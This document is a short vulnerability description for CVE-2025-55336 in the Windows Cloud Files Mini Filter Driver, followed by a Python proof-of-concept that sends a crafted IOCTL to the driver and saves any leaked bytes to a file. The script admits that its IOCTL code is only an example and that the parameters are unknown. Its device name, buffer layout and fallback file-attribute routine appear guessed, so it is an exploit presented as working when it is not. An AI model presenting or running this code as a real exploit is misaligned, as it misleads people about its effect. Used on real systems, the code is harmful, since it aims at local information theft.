Exposure of sensitive information to an unauthorized actor in Windows Cloud Files Mini Filter Driver allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-55336 - Windows Cloud Files Mini Filter Driver Information Disclosure PoC
# This is a conceptual PoC demonstrating the exploitation approach
# NOTE: This vulnerability requires local access and low privileges
import ctypes
import struct
import sys
import os
# Windows API constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
INVALID_HANDLE_VALUE = -1
# Device name for Cloud Files Mini Filter Driver communication
DEVICE_NAME = r"\\.\\CloudFilesFilter"
# IOCTL code for triggering information disclosure
# The specific IOCTL value would need to be reverse-engineered from the driver
IOCTL_CLOUDFILES_LEAK_INFO = 0x0022200C # Example IOCTL value
kernel32 = ctypes.windll.kernel32
def exploit_cloud_files_info_disclosure():
"""
Attempt to trigger information disclosure via Cloud Files Mini Filter Driver.
This PoC demonstrates the conceptual approach to exploiting CVE-2025-55336.
"""
print("[*] CVE-2025-55336 PoC - Cloud Files Mini Filter Driver Info Disclosure")
print("[*] Attempting to open device driver handle...")
# Open a handle to the Cloud Files Mini Filter Driver
hDevice = kernel32.CreateFileW(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
None,
OPEN_EXISTING,
0,
None
)
if hDevice == INVALID_HANDLE_VALUE:
error_code = kernel32.GetLastError()
print(f"[-] Failed to open device. Error code: {error_code}")
print("[-] This may require administrator privileges or driver may not be loaded")
return False
print("[+] Device handle obtained successfully")
# Prepare input buffer - crafted to trigger the vulnerable code path
input_buffer = ctypes.create_string_buffer(1024)
output_buffer = ctypes.create_string_buffer(4096)
bytes_returned = ctypes.c_ulong(0)
# Fill input buffer with specific parameters to trigger info disclosure
# The exact parameters depend on the driver's IOCTL handler implementation
struct.pack_into('<I', input_buffer, 0, 0x00000001) # Command type
struct.pack_into('<I', input_buffer, 4, 0x00000000) # Flags
struct.pack_into('<Q', input_buffer, 8, 0x0000000000000000) # File handle / context
print("[*] Sending crafted IOCTL request to trigger information disclosure...")
# Send the IOCTL request
result = kernel32.DeviceIoControl(
hDevice,
IOCTL_CLOUDFILES_LEAK_INFO,
input_buffer,
1024,
output_buffer,
4096,
ctypes.byref(bytes_returned),
None
)
if result:
print(f"[+] IOCTL request succeeded. Bytes returned: {bytes_returned.value}")
# Analyze leaked data from output buffer
leaked_data = output_buffer.raw[:bytes_returned.value]
print(f"[+] Leaked data (hex): {leaked_data.hex()}")
# Check if leaked data contains sensitive information
# (file paths, user data, kernel pointers, etc.)
if len(leaked_data) > 0:
print("[!] Potential sensitive information leaked from driver!")
# Save leaked data for analysis
with open("leaked_data.bin", "wb") as f:
f.write(leaked_data)
print("[+] Leaked data saved to leaked_data.bin")
else:
error_code = kernel32.GetLastError()
print(f"[-] IOCTL request failed. Error code: {error_code}")
# Cleanup
kernel32.CloseHandle(hDevice)
print("[*] Device handle closed")
return result
def alternative_exploit_via_file_operations():
"""
Alternative exploitation approach via file system operations.
Targets the Cloud Files placeholder handling code path.
"""
print("\n[*] Attempting alternative exploitation via file operations...")
# Create a symbolic link or use specific file paths to trigger
# the vulnerable code path in Cloud Files Mini Filter Driver
target_paths = [
os.path.expandvars(r"%LOCALAPPDATA%\\Microsoft\\OneDrive\\placeholder.dat"),
os.path.expandvars(r"%USERPROFILE%\\Documents\\cloud_file_test.txt"),
]
for path in target_paths:
try:
# Attempt to read file metadata that may trigger info disclosure
attrs = ctypes.windll.kernel32.GetFileAttributesW(path)
if attrs != INVALID_HANDLE_VALUE:
print(f"[+] File attributes obtained for: {path}")
except Exception as e:
print(f"[-] Error accessing {path}: {e}")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55336 - Windows Cloud Files Mini Filter Driver")
print("Information Disclosure Vulnerability PoC")
print("=" * 60)
print("WARNING: This PoC is for educational/research purposes only.")
print("Use only on systems you own or have authorization to test.")
print("=" * 60)
# Attempt primary exploitation
if not exploit_cloud_files_info_disclosure():
# Fallback to alternative method
alternative_exploit_via_file_operations()
print("\n[*] PoC execution completed")